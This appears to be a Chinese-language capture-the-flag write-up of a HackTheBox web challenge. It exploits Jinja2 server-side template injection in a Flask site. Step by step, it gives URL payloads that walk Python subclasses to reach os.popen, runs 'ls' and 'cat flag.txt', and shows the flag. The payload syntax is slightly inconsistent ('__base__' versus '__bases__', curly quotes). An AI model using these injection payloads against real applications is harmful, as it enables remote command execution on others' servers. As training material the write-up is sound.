解题步骤
-
题目描述:Can you exploit this simple mistake?
-
访问目标网站,发现是基于Flask/Jinja2/Python的网站,该框架最出名的是模板注入漏洞
-
检查Cookie,本次网站没有使用Cookie
-
直接尝试模板注入漏洞,访问http://ip:port/{{””.__class__}},顺利执行,响应体如下
Error 404 The page '<class 'str'>' could not be found
-
获取目前的object类及其可触达的子类,访问http://ip:port/{{””.__class__.__base__[0].__subclasses__()}}
-
从其中寻找os模块,运行结果为133 <class ‘os._wrap_close’>
sub = "将第五步里的所有模块粘贴到这里" sub = sub.split(',') print(sub) for i, item in enumerate(sub): if "os." in item: print(i, item)
-
通过os模块进行任意命令执行,访问http://ip:port/{{””.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[‘popen’](‘ls’).read()}},发现flag文件
Error 404 The page 'bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var ' could not be found
-
读取flag文件,访问http://ip:port/{{””.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[‘popen’](‘cat flag.txt’).read()}},发现flag文件
Error 404 The page 'HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!} ' could not be found
-
发现flag,HTB{t3mpl4t3s_4r3_m0r3_p0w3rfu1_th4n_u_th1nk!}
独立思考
由于之前接触过Flask的SSTI,没有太多疑问
产生过的疑问
由于之前接触过Flask的SSTI,没有太多疑问